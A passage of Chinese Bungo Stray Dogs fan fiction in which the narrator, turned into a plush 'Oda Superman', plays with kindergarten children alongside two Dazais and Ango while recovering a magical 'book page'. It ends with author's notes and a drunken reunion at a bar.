只是太宰老师总会把自己弄得伤痕累累的样子、无法兼任体育老师。现在终于要有一位新的男老师了吗? “唉——”太宰老师不走心的表达了一下惊叹, 就当参与过话题了。 他回味着今天的卡带内容,走回了自己的教师宿舍。虽然是已经看过了很多遍的织田作超人剧集,但是这些百看不厌。 打开了门。 一个有着相似鸢色眼眸的黑发小卷毛, 舒舒服服的躺在属于他的柔软小沙发上,抬起脸懒散的和他打了个招呼:“哟!” 这态度理所当然得,就像让人见到了餐桌上的纸巾、电视机旁的遥控器那样自然。 太宰老师:“……” 他“砰”的一声猛然关上了门,重新打开。 那张和他长得一模一样的脸还在,甚至说出了同样茶茶的无辜语气:“什么嘛,和我见面有必要激动到再确认一次吗?” 太宰老师:“…………” 今天下雨,所以他背着人偷偷跑后山上尝了不少彩色小蘑菇。哇啊、原来这么晚才出现幻觉吗? 但为什么看到的幻觉是自己?说话还怪里怪气的。 凭什么不能是织田作超人?! 太宰老师暗怒。 “真没劲啊!”他这样想着,也就这样幽幽怨怨的抱怨出声了,“……为什么不是织田作?” 这位同位体像是霜打的茄子似的气场阴云笼罩,对武侦宰的出现毫无惊讶,第一反应只有这样的沮丧,头也不回的走进了里间的卧室。武侦宰笑意盈盈的越凑越近,饶有兴趣的跟过去打量,很恶趣味的什么都没说。 他才不会炫耀自己有织田作呢!那不就便宜同位体高兴了? 武侦宰今天潜入幼稚园后可没少听见太宰老师的各种茶言茶语,这种弱里弱气无害模样的“自己”,他还是头一次见。 这可真的—— 太有意思了! 这样想着的武侦宰心里满是坏水,浮想联翩着,那些坏主意都快咕嘟咕嘟冒着泡然后从脸上溢出来了。但下一刻—— 跟到了卧室门口的武侦宰刚看清楚里面的布局,脸上就突然一僵,笑容勉强起来:“!” 他的嘴角微微抽搐着,语气干干巴巴,非常发虚,很明显还没有回过来神:“哇。没想到……你是这样的人……?” 入目大片的红色色块先映入眼帘,等武侦宰反应过来那些是什么的时候,他已经罕见的想用手掩住脸庞,视线拼命游移,恨不得自戳双目了。 墙上天花板上贴满了密密麻麻的红发男子的海报,床上堆着大大小小的红发男子玩偶,有豆豆人,有小团子,有大抱枕,还有棉花玩偶。门旁挂着好几个不同款式的红发男人背包,墙上的挂衣钩上也是多件红发男人的T恤。就连书桌上也摆着含量超浓的红发男人制品。 哪怕这些印上去的男人模样都是一个披着红披风、穿着条纹衣服的人在进行战斗似的不寻常场景。但不管怎么不寻常,那个红头发的男人不就是他的友人织田作之助吗?! 太宰治无法呼吸,太宰治脚趾扣地,眼神游移:“……” 他聪明的脑袋帮助他一瞬间就看明白了这一屋子周边的使用频率和喜爱程度。 他就算再怎么样,也没有变态到把友人的脸密集的安放到卧室里抱着睡觉、晚上也看睁开眼也看出门还穿戴的程度啊! 异世界的太宰治,没想到你是这种人!!(怒指) 等等…… 武侦宰的头脑突然拉响了警报。 他回忆起刚才太宰老师看到他的第一反应,是脱口而出抱怨为什么不是织田作过来…… 武侦宰突然后悔了。 这个冒险不能玩了,他得立刻、马上、去找到织田作,赶紧找到‘书’离开这个地方。(织田作这里有变态!) 划掉,不开玩笑了。 ——因为这个同位体绝对没有自己的织田作。 武侦宰确信着。 也就是说,以对方这种让他都感觉丢脸的喜欢方式,对方绝对会挤占织田作的注意力。所以武侦宰上来才要先接触另一个自己,坚决杜绝意外,主打的就是一个‘我见不到的时候,你也别想捡漏。’ 现在亲眼见了这一屋子东西,武侦宰更坚定自己的主意是对的了! …… 宿舍那边的闹剧传不到孩子们的休息室。 等到老师们都离开了,大气不敢喘装睡着的中岛敦才悄悄睁开眼,蹑手蹑脚爬起来,一溜烟跑到了窗口前拉开窗帘,不死心的仰头看向外面的那棵大树。 “织田作超人……织田作超人在吗?”他压出了气音,小心翼翼的呼唤着。 “你在做什么啊?”白天喝多了牛奶、憋不住想起来上厕所的中也君睡眼惺忪的走过来,音量是正常的。 “……!”中岛敦吓得一把捂住了他的嘴巴,害怕吵醒其他人或者老师,他好不容易装睡到了现在呢! 白发男童都快吓出哭腔了,眼看着瞒不住了:“中也不要说话!嘘嘘,我是在找织田作超人……” 中原中也憋得脸色通红,听到音节更是扭动得厉害,但等听到后半句话,他一下子忘了挣扎,钴蓝色的眼睛唰的一下亮了:“……!” 中也一着急挣脱开同伴的手,却酷酷的抱起双臂,口是心非的傲娇着:“你是笨蛋吗?世界上怎么可能真的有织田作超人呢!” 他的眼神开始不停往外瞄。 “是真的,我下午看到了!”中岛敦本来还有些不确定,现在被一激,急切地压低声音争论着。他甚至还竭力邀请同伴,试图证明自己的话没错,“——中也君要一起来吗?找到织田作超人!” “好啊好啊——!”中也一下子热切地高兴起来,脱口而出。下一刻,他又觉得自己太不淡定了,努力绷了绷,矜持的把嘴角翘上了天,“……咳!晚上很不安全的。真没办法啊,我都已经是大班的孩子了,就陪你找吧!” “嗯!!”中岛敦两眼亮晶晶。 说完,两个小孩子就开始高高兴兴趴在窗台上,唤猫一样压低了气音的此起彼伏:“织田作超人……”“织田作超人!” 在外面鸟窝里、把中原中也过于经典的傲娇语录听了个正着、一句没漏下的我:“…………” 太可爱了吧。 小孩子。 这本来就是我的计划,所以我不再躲藏,缓缓从鸟窝里飞出来,向下悬停到了窗户面前。 月光下,小小的身影穿着条纹衬衫,背后颜色鲜艳的红披风反重力的飞舞着,一头红发、标志性的木讷面容和圆圆的棉花球手掌…… 中岛敦激动得几乎呼吸不过来了:“真的是织田作超人!!” 中原中也在旁边毫无反应——赭发孩童已经面色通红的攥着拳头僵住了。 “织田作超人为什么会出现在这里?是幼稚园里有坏蛋了吗?”小小的中岛敦回过神来,又是兴奋又是害怕。 “这是一个秘密任务,我有要找的东西出现在了幼稚园里,这段时间可以拜托你们不要说出我的身份吗?”我煞有其事的说。 这也的确不是谎话。 我和太宰安吾约定好了要在找到“书页”之前来上一次大冒险,那么自然经历越丰富多彩越好。 ‘我’变成了孩子们喜爱的织田作超人,为了秘密任务(书页)而来,请求孩子们的帮助。这难道不是一个美梦吗?既然来上一次文野幼稚园,那就哄哄孩子们吧。 而且有了孩子们的帮助,我会比另外两个友人效率还快的融入其中的。 这就是我的打算。 “秘密任务?”大班的中原中也平时最喜欢这么酷的事情,听得眼睛都快冒光了。他前所未有的兴奋着,也顾不上什么傲娇什么掩饰了,急切地跃跃欲试着,“我们都能帮上忙,织田作超人要找什么东西?” “是一个只有我这样的外来者才能察觉的东西,所以要拜托你们帮我打掩护了。”我歉意的低下头,这么说着。 “好啊好啊!”“我们会帮忙的!”“这是我们的秘密!” 突然间,七嘴八舌的兴奋嗓音响了起来。 中岛敦惊恐的一回头,看到班上其他的孩子不知道什么时候都醒了。泉镜花的呆毛摇晃着,江户川乱步充满了干劲,谷崎兄妹只差举起手欢呼了。 “咦?是孩子们的声音?”孩子们兴奋之下没有压住自己的音量,外面走廊上很快传来了与谢野医生疑惑走近的声响。 “——糟了!被老师发现了!” 孩子们一哄而散,赶紧回床上装睡觉。中原中也速度很快,只有离小床最远的中岛敦来不及回去了,一脸的措手不及。 我眼疾手快的一个头槌、用脑袋顶住他向前猛飞,赶在与谢野医生开门前把中岛敦带回了他自己的小床上,然后装成玩偶不动了。 抱着玩偶在小床上僵硬装睡的中岛敦:“……”- 作者有话说: (双宰互相破防呢hhhh) 最近和荒宰跑去棚拍了!痛痛快快拍了好几组织田作和首领宰—— 记忆里的死亡。首领宰的日常偷窥‘书’。lupin酒吧里的‘不要叫我织田作’。 一起吃咖喱饭,一起喝酒碰杯,我文里织田作把枪不容置疑塞首领宰手里对准自己。 还有首领织。干部织在首领宰面前等着听令。首领宰和织田作凑一起高兴嘀嘀咕咕之类的! 全都拍了个爽! (忍不住夸夸,她出的首领宰很有沉寂气场和破碎感,超帅的!!眼神绝佳[红心]) 但是我的脸太幼了,垂泪,之前出少织不错,出成织嗯……只有木讷眼神完全不需要我演,本色出演![加油] 第54章 表演天衣无缝拳! ‘勒……’ ‘被勒到脖子了。’ 紧张的中岛敦用手死死匝着我, 闭眼装睡。 但我强忍着挣扎的冲动,一动不动的继续假装玩偶。毕竟,我的棉花身体是不会被这样勒死的。 “中也君?”与谢野医生看到中原中也满面通红的坐在小床边, 还没有入睡。原来刚才的声音是他发出来的吗? “老师,我要去厕所……”中原中也脸色烧红着说, 声音干巴巴的。 贴心的与谢野医生当然是陪同了。 一大一小出门后,安静的休息室里才突然传出来一连串孩子们的吐气声:“呼!”“呼……” “中也真是个好人!”谷崎哥哥钦佩的说。 为了大家不露馅, 编出了想上厕所所以还醒着的谎话,好机智! “中也真厉害, 但是哥哥也很好哦!”谷崎妹妹马上夸赞着。 欲言又止知道实情的中岛敦:“……” 该不该说出来呢? 说吗? 在他还纠结着的时候, 邻床睡着的小镜花悄悄伸出一根手指头戳了下红发玩偶的棉花拳。柔软的手感让她的呆毛像是过电了一样从头到尾抖了一遍:“……!” 睁开眼睛的我:“?” “天衣无缝拳。”小镜花悄悄地问。 我回想起来了, 那是织田作超人的著名招式。 我点了一下头, 努力满足孩子们的愿望:“我会。” 小镜花的眼眸突然变得亮晶晶的。 她还想说些什么,但是与谢野医生和中原中也回来了。似乎是不放心孩子们再闹出什么乱子, 这一回, 直到所有孩子都撑不住睡了过去,与谢野医生都没有离开休息室。 我变成织田作超人后,不仅能飞了, 听力也变得敏锐了。等我静静听着休息室里的孩子们呼吸声全都变得均匀起来后,我也缓缓睡了过去。 衬衫口袋里的迷你绘本嗡嗡了一下, 是首领宰在和我道晚安吗? 晚安。 有什么事情, 明天再说吧。 这一天经历的太多太累了。 …… 第二天的清晨, 太宰老师就没能守住他的小秘密。 “好了, 乖乖待在宿舍里, 我要——啊!” 太宰老师的叮嘱还没说完,穿着沙色风衣的青年就熟视无睹的推开了门,一脸跃跃欲试模样的走了出去:“大家!早上好——” “……”早起喂兔子的社长、哦不园长无言的注视着这两个长得一模一样的雇员, 穿的衣服都很像。 太宰,分裂了? “其实呢,我是他在乡下的双胞胎兄弟!好不容易进城一趟探望……呀,现在的工作真难找呢,兄弟在这里有没有好好工作啊?” 武侦宰睁着眼睛胡说八道,很自来熟的把胳膊如同上吊绳那样柔软且窒息的环绕在太宰老师的脖颈上,挂在他身上表示友好。 原本想要挣脱反驳的太宰老师,抗拒的动作不知不觉就失去了力道:“……” ——哪个太宰能抗拒一条上吊绳呢! “原来是太宰的兄弟。”园长这下没了疑问,抄着双手沉稳的点了点头,代表欢迎,“正好,今天有一位新的老师要来实习,太宰,交给你吧。” 他看向走廊的尽头。 一个穿着宽松T恤的青年微笑着站在那里,像是初次见面那样打着招呼:“我是坂口安吾,可以叫我坂口老师。” 武侦宰意味深长的瞥他一眼。 他们两个都各显神通的混进了幼稚园,现在就差织田作了。 这个上午,是负责小班的太宰老师带着新来的坂口老师熟悉环境。但是孩子们似乎有了什么自己的秘密,比起热切的和老师们玩耍,他们更多时间缩在一起嘀嘀咕咕,非常神秘。 “——太宰老师难道已经没有吸引力了吗?!”太宰老师换了好几种讨好小孩子的方式,都没有得逞。半倒在地上大受打击。 “嘛嘛,这个年纪的孩子有自己的秘密很正常。”武侦宰眼皮都不眨的说,唇边的笑容逐渐变坏,“让我来猜猜……敦君!你抱在怀里的是什么东西——呢?” 武侦宰眼疾手快,把努力往后藏的中岛敦手中的玩偶拿了起来。 热乎乎的,软绵绵的,是织田作超人玩偶。 坂口安吾:“……!” 织田作先生!原来变成这种样子了吗?让他们好找啊。 “哇哦。”武侦宰用双手高高把玩偶举起来,温暖的鸢色眼眸中有着高光,他恶作剧一样的幽幽说着,“现在我们是公平竞赛了。” 谁能最先从幼稚园里找到书页? 这场各不相同的竞赛大冒险,稍微让人觉得有趣了。 “……呜。”中岛敦在没人看到的下方已经变成了噙着眼泪的蛋花泪眼。 小小的孩童一脸忍着被大人欺负了的委屈和难以置信,马上就要爆发了,说话都忍耐得断断续续的:“夺走了我的……织田作超人……” 有丰富经验的太宰老师大惊失色,一脸黑气的转过头和善微笑着:“太宰——弟弟。还不快把敦、君、的玩偶还给他?” 他的重音咬在了“弟弟”和“敦君”上面。 武侦宰找到了友人后自然有恃无恐,他一边把棉花娃娃抱在怀里,一边理直气壮的贴贴说着,完全没有还回去的意思:“可是我也很喜欢织田作超人哦!” 委屈巴巴忍了半天眼泪的中岛敦终于还是指责着飙泪出来了:“呜!太宰老师的弟弟明明是大人了,还在和我抢织田作超人的玩偶!” 鸢眸青年笑得眉眼弯弯:“这不是很可爱嘛。织田作——” “砰!” 这是忍无可忍的太宰老师,痛痛快快的活动着手腕给同位体脑袋上镶了个扑通扑通红亮的大包。 “不可以欺负我的学生哦。”他的笑容没有高光,上半张脸完全笼罩在黑气中,拉长了声音的棒读着:“……还是这样去见三途川比较快些吧?” 坂口安吾默默推了一下反光的眼镜,在镜片后安静如鸡又喜闻乐见的快乐吃瓜。 两个太宰撕起来了,妙啊,真妙啊。 “很痛的唉!织田作你看他——”武侦宰的计谋得逞了,厚着脸皮,试图弱小委屈又无助的把自己依偎到玩偶怀里,让他见证同位体的暴行。全然不顾自己现在的形象有多离谱。 在场看呆了的孩子们:“……” 地上蠕动着、仿佛在阴暗诅咒一样不停碎碎念着的一滩不明物体。原来太宰老师的弟弟是这种性格吗? 连中岛敦都不哭了。 我:“……” 在孩子们中间再也隐藏不下去了的我一时间进退两难。 感觉现在出来也不太好。 “我知道了,他一定认识织田作超人吧?”国木田试图很小声的说悄悄话,但他的声音在场所有的人都听得到。 “可是,那只是玩偶啊?”中岛敦困扰的同样说着悄悄话,“他认不出来织田作超人吗?” “我们也认不出来吧。”谷崎润一郎加入了争辩。 中原中也憋不住了:“喂!你们太大声了!” “什么织田作超人?”捕捉信息敏锐的太宰老师第一个条件反射的问。 “……”武侦宰的嘴角也落了下来,一种不详的预感击中了他,让他没有高光的注视着自己刚才死缠烂打的玩偶,“喂……” 该不会…… 我十分勇敢的从孩子们身后飞了出来,结束了这个烂摊子。 然后默默举起了我的棉花球拳头:“……太宰,我在这里。” 是的,我知道中岛敦有一个织田作超人的玩偶,因为昨晚的秘密相见,中岛敦不知不觉抱着我睡着了。早上起来的时候孩子们不依不饶的吵着不公平,所以按照顺序,我飞到了中原中也的小背包里和他贴贴。 “也就是说——”武侦宰的嗓音干巴巴的,整个人都灰暗了。 他鼓起勇气撒娇了半天的织田作,真的只是个玩偶。 “也就是说……!!”同样的一句话,太宰老师却眼眸亮亮的,爆发出前所未有的热情光芒来,“是真的织田作超人啊!!” 他二话不说的想冲过来,被提前预判的武侦宰眼疾手快的揪住了围裙带子,勒得翻白眼。 “哦呀,真是让人意外。”红叶老师也很震惊,但她淑女的遮住了脸上的神情,优雅的默默关上了门,防止更多人听到这件辛密。 窗口的与谢野医生眼中闪过分外感兴趣的光芒,想摸手术刀的手抄在口袋里蠢蠢欲动,但她看了眼孩子们,还是艰难转开了头。 “织田作超人怎么出来了?”中岛敦很慌张的问。 “我感应到了我要找的那件物品就在附近。”我一本正经的说。实际上是幼稚园的大家都被吸引了过来,我只要一个个接触,就能找到书页了,这是我的最好机会。 我还没有忘记这场大冒险同样是我和太宰、安吾的竞赛。 “哦哦,我们是协助织田作超人的路人角色吗?”太宰老师前所未有的精神着,兴致勃勃的加入其中,“该怎么做?” “只需要像这样。”我夹带私货的飞向太宰老师,用温暖的棉花球拳头摸了摸他的脑袋,语气平淡的下结论,“……就可以辨别那件东西有没有藏到你们身上了。” 太宰老师反常的彻底安静了下来,周身的背景开始飘小花了:“……” 武侦宰超大声的不满啧了一声。 即便逐渐习惯了这样的二次元生活,我看到太宰的背景能随心情这样变幻,还是觉得很惊奇。 但是……咦? 没有。 不在这个太宰治的身上。 “织田作先生,一个一个搜什么的……你这样很犯规。”坂口安吾不得不出声了,也暴露了自己的身份,“上午我刚确定了几个孩子身上没有。” “原来坂口老师是特工吗?!”国木田的目光变得亮晶晶的,几个孩子都很憧憬的看着他。 坂口安吾一时间语塞:“……” 武装侦探社的国木田先生,你的直觉是什么不科学的东西?连幼稚园学生这么大丁点的年纪都能一语说中啊。 武侦宰噗嗤笑了出来,嗓音平缓下来,语调堪称温和:“这也不算说错哦。” “所有的人都在这里了吗?”孩子们抢着被我摸摸头,安吾只能悻悻的站在一旁,严谨的向红叶老师做确认,“园长的话……早上我已经确认过了。” (“我也要!”武侦宰丝毫不觉得自己幼稚的在孩子们身后同样排队嚷着,太宰老师和他的目光火花带闪电的激烈碰撞中。) “还有与谢野医生。”红叶老师意有所指的看向窗外,她刚才看到那道身影从窗台前路过了。 “失礼了。”坂口安吾左右看了看,最后决定牺牲自己的健康,大义凛然的出门去找与谢野晶子确认去了。 “那个,织田作超人!可以表演一下那个吗?”在我挨个摸摸头的时候,轮到我面前的是谷崎妹妹,小姑娘红着脸鼓起勇气问,害羞的说,“就是……那个在爆炸火海里落地,战斗中释放的绝招!” 武侦宰全程耍宝的幼稚表情突然一变,眼神沉下来,条件反射的往我看了过来。 我脸上面瘫,心里却在发麻着。 ——武侦宰果然get到了这个地狱笑话。很明显他被刀到了啊! 而且作为一个反复观看过多遍文豪野犬汪的人来说,我也被刀到了…… 好地狱。 但这不是小孩子的错,所以我从善如流的点点头应下。在心里由衷的感激这个世界没有真的织田作之助,并且说明了一句:“我需要做个准备。” 扭过头,我背着人立马掏出了我的迷你小绘本,在上面奋笔疾书。 距离首领宰安安静静已经过去一上午了,但我可以肯定他已经睡醒了。现在只能祈祷港//口//黑//手党的事务繁多,无赖派并不会无时无刻都聚在一起。 无论如何,我接下来的举动还是避开织田作之助本人为好。 至于首领宰…… 这个实在避不开。 我抬头看了看现场同样兴奋跃跃欲试的太宰老师,还有抿平了嘴角没什么表情的武侦宰。 [他们不在。]首领宰能读心一样的写下了这样的字迹来宽我的心。 对他自己怎么处置全然不提。 好。 我放下了心,回过头看向一屋子翘首期盼的人。 不管是充满期待的太宰老师和孩子们,还是好奇等着看不科学场景的红叶老师,还有心情复杂却一言不发尊重我的选择的武侦宰,都在等待着接下来的表演。 我心里又开始紧张了,有一点点的羞耻。 再次感谢我现在是个棉花身体,这张脸做不出别的表情,面瘫得让人安心。 “咳。”我咳嗽了一声,高高飞了起来,是超人式飞法,再让红披风反重力漂亮的扬起,抬起两只手抡了一圈做造型! “砰。”小小的盆栽树叶被我的棉花拳拳风扫得摇来晃去,显得威力很大的样子。 我又接了一个经典的超级英雄式落地。 表演完毕。 我难掩羞耻的飞过去摸了摸谷崎妹妹的头发。 孩子们的目光全都猛然亮了,齐声喊道:“天衣无缝拳!!” 好了,我的脑袋要冒烟了。 被小孩子们这样崇拜的注视着,表演了一套花里胡哨的华丽动作什么的。 有……还是有点羞耻的…… 我很有经验的让自己的脑袋努力回到正题上,思考起来。 问题来了。 这个幼稚园里已经被我们无赖派找了一遍,每个人都碰过了,但是太宰身上也没有。那么书页会藏在哪里?在与谢野医生身上吗? 我的视线落在了武侦宰身上。 说是我们三人竞赛寻找书页,实际上只有我和安吾在认认真真而已,太宰全程划水。这也是很合理的发展,但现在我想到了一种新的可能性……- 作者有话说: 平行世界小剧场—— 天寒地冻的时候。 我翻出了自己的被子款长大衣保暖,是之前别人送给我的、可以穿在身上当棉被盖的方便御寒物品。 路过的荒宰(茫然不甘地嘀嘀咕咕):咦,这个不是我想送给织田作的东西吗?还在计划单上,谁提前送了? 我绞尽脑汁回想了好久,问了一圈最后被人认领了:啊……是安吾先生。 荒宰:我们的品味也这么像吗?破案了,不愧是我们无赖派。 我(重复):不愧是我们无赖派! 安吾先生(重复):不愧是我们无赖派! 第55章 回到汪世界 我飞了过去, 房间内的人视线都随着我移动,落在了鸢眸青年身上。 “太宰。”我用眼神示意他别玩了,可以把找到的书页给我了。 即便我现在是个眼神木讷、完全动不了的玩偶表情, 相信太宰也能猜出我的催促意思的。 “什么?”太宰治装傻。 小孩子们肉眼可见的开始两眼放光,聚精会神的盯着我和太宰。 我本来准备出口的话语停顿了一下, 思考。 我用我的棉花球拳头指向他,用最平淡的语气说出胁迫的话语:“把被你绑架的人质交出来。” “……唉??”谷崎妹妹小声发出了惊叹的动静。 中岛敦担心的屏住了呼吸。 这一幕对孩子们来说比看织田作超人卡带要刺激太多了。 武侦宰一愣, 笑容消失了,嗓音也沉了下去。他目光黑沉沉的、尾调微扬的说:“藏得这么好, 还是被你发现了啊。” 二十二岁的青年人脸上扯出一个属于港//口//黑//手党的黑暗表情, 从沙色风衣口袋中用两根手指拈出了什么。 那是一枚发着光的‘书页’。 他果然早就找到了, 却不声不响的藏了起来, 看着我们比赛努力。 “……织田作超人。”太宰治周身泛着黑气的冰冷说着,语气微妙的带了点百般无赖的挑衅, “想要的话, 自己来拿?” 小国木田眉头都皱起来了,非常严谨的叫了起来:“织田作超人别去!他背在身后的那只手一定藏了武器!!” “是啊!织田作超人,他不怀好意。”太宰老师在旁边抓紧每一个机会担忧的叭叭告状。 站在门口的坂口安吾:“…………” 他的表情十分一言难尽和欲言又止, 还带了点羞耻。 到底为什么每一个人都可以这么忘我的投入进去开始演绎?? “……”我飞在空中神色凝重的面瘫着,目光缓缓移动到了‘书页’上。 太宰缠着绷带的两根手指正夹着那枚‘书页’轻轻摇晃, 状似威胁和引诱。 我是知道过去会有什么代价的。 但那是‘书页’…… 绘本在怀里嗡嗡动了一下。 因为刚才把它取了出来, 我忍不住低头看了一眼消息。 首领宰:[不要去。] 是大写的, 幽幽的字体, 这一行字用力到仿佛都要流淌下血迹般的墨汁了。 我动摇了几秒钟:“抱歉。”破釜沉舟的飞了过去。 我一把抱住了偌大的‘书页’, ‘书页’成功被回收到体内不见了,但我也因此落入了武侦宰的陷阱—— 他不怀好意的猛然抓住自投罗网的红发玩偶,高高举起, 像是在展示自己的战利品;脸上的笑容都快冒黑水了,太宰治用那种特属于港//口/黑//手党的恶意笑容炫耀着:“抓、住、你、了。” 揉搓揉搓,太宰治快乐到脸蛋发光。 “啊!织田作超人——!!”孩子们和太宰老师一起担忧的叫了起来,充沛的情感十分投入。 坂口安吾:“……” 心情开始变得疲惫,但一点也不觉得奇怪了,这就是他两个古怪的友人的日常吧。既然找到书页了,是不是可以离开了? 我把棉花拳头伸向了坂口安吾,一同抛过去的还有求救的眼神:“……安吾。” 救救。 太宰他,像是在揉搓狗毛,疯狂的搓着我的脑袋,棉花都快被揉出来了。 坂口安吾:“……啊?” 坂口安吾:“我吗?” 这场让人脚趾扣地的演戏居然还没有结束吗。而且他们还想让他也加入其中! 坂口安吾看到所有人的目光都转移向了他,一时间肩膀僵硬。谷崎润一郎非常诚挚的焦虑拜托着:“坂口老师,把织田作超人救出来吧!” “或者暗杀。”泉镜花目光一暗。 坂口安吾不情不愿的挪动着脚,走到了武侦宰面前。两人的视线隔着镜框直直对上,闪烁着晦涩的光芒。 “安吾,别碍事。”太宰笑容一收,幼稚的居高临下命令着。这语气就像是以前他和坂口安吾的冷淡关系时一样。 坂口安吾什么都不想说,自从四年前那件事发生后,他在太宰面前一向都没有话说。但是现在红发玩偶不停向他投来非常有存在感的求救目光,所以坂口安吾没有被这种语气吓倒,而是伸手抓住了红发玩偶,僵硬微笑: “织田作先生该走了,太宰先生,别无理取闹啊。” “我没有哦。”太宰治一脸蒙冤,手臂仍然柔软的勒着玩偶,鸢色眼眸中是透彻的一份清醒,“是织田作喜欢这样吧?” 我一僵,被看穿了。 三个人打打闹闹,是件很快乐的事。我确实很享受现在的氛围,也在故意让安吾加入。哪怕……嗯,羞耻了一点。 不过武侦宰也在嘴硬啊。 从他若有若无拖延找到“书页”的时间开始,我就知道他也不舍得这趟旅程,所以赞同了大冒险的计划。这段时间里每个人都在表演自己的戏份,这样才让武侦宰显得更自在了。 但是,太失败了。 ——我最开始的交友计划好像还是有点失败啊。 仔细算一下,其实这两个小世界里的冒险大多数时候我们还是分别行动,或者说——进展根本不大。我们三个的关系有拉近了吗? 我有点笨拙。 说到底……主动去交友本来就不是我擅长的事情,哪怕对象变成了我期待获得友谊的人,我也不知道该怎么和他们变得亲密。武侦宰留恋着这样的冒险不想回去,是不是说明至少我的策划起到了一点点的作用? 我的心里多了一点安慰。 ——但是安吾全程都在急着回去。 “织田作先生?”安吾敏锐的转过头,注意到我头上那根垂头丧气的红色呆毛,有点疑惑。 “是该回去了。”我没有解释,强装镇定的用目光扫视这些眼巴巴的小孩子们,他们意识到了什么,都快哭出来了。我把视线转向沉默看着的老师们,试图让他们哄一下孩子。 ——视线撞上了同样眼泪汪汪的太宰老师。 “咳,织田作超人和我完成了任务,现在该带着坏蛋回去了。”坂口安吾眼看着不妙,红发玩偶的呆毛心软的扬了一下,他眼疾手快的找了个理由,干咳着这么说着,暗示的去扯了扯武侦宰的外套。 武侦宰也不玩什么和朋友闹别扭的戏码了,少见的顺着坂口安吾的话匆忙提议,有理有据道:“这回的大冒险是我先赢了,作为赢家,我要奖励——我们回去后再痛痛快快喝上一杯吧?” “——三个人。”他把重音咬在了“人”上。 哦,上一次我还是作为幼犬的模样和他们喝酒,的确没有喝得痛快。 我同意了。 对待小孩子我还是很有诀窍的,越是这种时候越要快刀斩乱麻。于是我重新飞了起来,让我的呆毛和红披风都帅气的飞舞着,然后对眼巴巴的孩子们宣布:“我要回去做任务了,如果有机会我们再会。” 坂口安吾大惊失色:“……” 这不是完全没有委婉吗!道别得好直接! 但是孩子们却难以抵御这样的氛围,虽然委屈巴巴,但一个两个却只是用憧憬又湿漉漉的目光望过来。中原中也别别扭扭的问:“织田作超人,我们有帮上忙吗?” 我严肃的一点头:“你们有帮助我很好的休息了一晚上。” ……虽然整个梦里都在被太宰碎碎念着热情邀请上吊绳的美妙,醒过来也看到自己被中岛敦的手臂紧紧夹着,才发现原因。 中岛敦的目光重新变得亮晶晶了:“那我们也是——也算是小助手了吧?” 我挨个用棉花球摸摸头,肯定了他们。 “织田作先生很会夸奖人呢。”红叶老师笑眯眯的,围观了全场的她终于放心了。 我安抚好了孩子们,又给了太宰老师一个大大的拥抱——是的其实我觉得太宰老师反而是最不需要操心的那一个。 他是真切相信着织田作超人存在的,现在又亲眼见到了“织田作超人”,那么他心里的那份希望和热爱就不会消逝掉。不管我们相隔多远,太宰老师反而会安静的怀念回味着这一切,并且热情高涨。 他不是在等待,他是真切的一直觉得织田作超人就存在在他身旁。 果然,在我的告别拥抱过后,太宰老师幸福的哼起了小曲,碎碎念着:“赶快赶快……这么开心,不如马上去入水保存下来更好呢?” 尾调还带着上扬的轻飘飘与快乐,人却站在原地没动。 我的心彻底安定下来,左右牵住了武侦宰和安吾,对红叶老师歉意的点了点头:“打扰你们了。” “不哦。这对孩子们来说,是最绮丽的一场美梦吧。”红叶老师摇摇头,笑得分外柔和。 空气中一道耀眼的白光闪过,匆匆到来的三个人消失了。 只剩下隔天收到消息失落的园长:“……坂口老师的实习这么快就不做了吗?” 孩子们左看右看,保守着共同一个秘密的他们互相笑得心虚。 …… 回到文豪野犬汪的主世界了。 我收拢了手中的三份书页,让我自己的形象回归到红发男子的模样。 “我知道一家酒吧,氛围很不错,老板人也好。”武侦宰双手抄在风衣口袋里平和的这么提议着,目光注视着我们两个,没有再对安吾挑刺。 他的语气那么温柔日常,像是四年前那样随口一提似的说道:“我们去看看吧?” 走就走。 我和安吾各自穿着皱巴巴又百般蹂躏过的衣服,已经完全放弃管理了,互相对视一眼就不假思索同意了。 ——这天晚上,我们在lupin酒吧喝了个酩酊大醉。 具体发生了点什么?喝得烂醉的我有一点记不清了,只记得自己好像用了许多次“天衣无缝”,好像谁和谁还吵起来了,太宰治和坂口安吾两个人围着我转。 “……”我陷入了好一阵的大脑空白和困惑中,思索,思索。 还是什么都想不起来。 [发生什么事了?]我只能怀着极其忐忑的心情,求助了隔壁世界的首领宰- 作者有话说: 首领宰(冷笑):…… 看了一场好戏啊。 第56章 任务完成 [……] 首领宰在书页上点了不少墨团, 似乎在思考怎么斟酌语句告诉我。 我忐忑的眼巴巴等待着,心里像是油煎。 不会吧。 难道我酒后放飞,彻底崩了形象, 丢了“织田作之助”的脸了吗? 跪地对织田作先生谢罪都要弥补不了了! [没什么。] 最终,首领宰还是这样轻描淡写的写下了字迹, 字里行间都透着轻松随意, [有两个闹腾的家伙在互殴而已, 织田作你有在努力劝架。] 我努力回忆,好像是从一片空白里翻出来两个破碎的片段——武侦宰和安吾鼻青脸肿的向我扑过来。 我:“?” 真的假的?如果我是劝架的那一个, 怎么打架的那两个人反而一起冲着我来了? 我合理怀疑首领宰的话……嗯, 有在美化我。 …… Beast世界。 披着红围巾的青年坐在办公桌前微微一笑, 缠着绷带的手放下了那支造价昂贵的钢笔, 对自己刚刚说谎的行为眼皮都不眨一下,十分从容。 他只是对事情的重点进行了一点点模糊而已—— 隔壁世界的三人在酒馆里喝了个烂醉, 武侦宰和安吾的确借此引爆了多年来的怨恨和矛盾, 先是指责后是动手。拳拳到肉的互殴了起来,谁都不打算躲一下。 酒保在柜台后淡定的擦着桌子,眼皮都不抬。 喝醉了的织田作连忙上去劝架。 (他不得不承认, 喝醉了的织田作回归了大魔王的本性,这场面真稀有, 就是有些不堪回忆——让他想到了和另一个织田作初见那天的恐怖景象了。) ——织田作的劝架方式, 就是把两个人都揍了一遍。 最后反而变成了手忙脚乱的太宰治和安吾齐心协力、狼狈躲闪有着“天衣无缝”的织田作的攻击, 试图让他停下来…… 然后被织田作挨个撂倒带走了。 红发男人扛着生无可恋的友人们离开的时候, 甚至还记得老实的对酒保道别…… “……哈。” 首领宰回想到这里, 突然忍俊不禁的笑了一声,偌大的办公室里空空荡荡,马上传来了回响。 今天的心情也变好了。 …… 我盯着绘本半天, 都没有等到首领宰继续回话,只能木着脸从床上爬起来,忐忑的环视四周。 这里是武侦宰的小公寓,很明显单人床容不下三个人睡觉,走到外面一看。 安吾憋憋屈屈的打地铺,在客厅里恬静睡着,摘了眼镜,只是脸上青一块红一块的。 武侦宰却不见踪影。 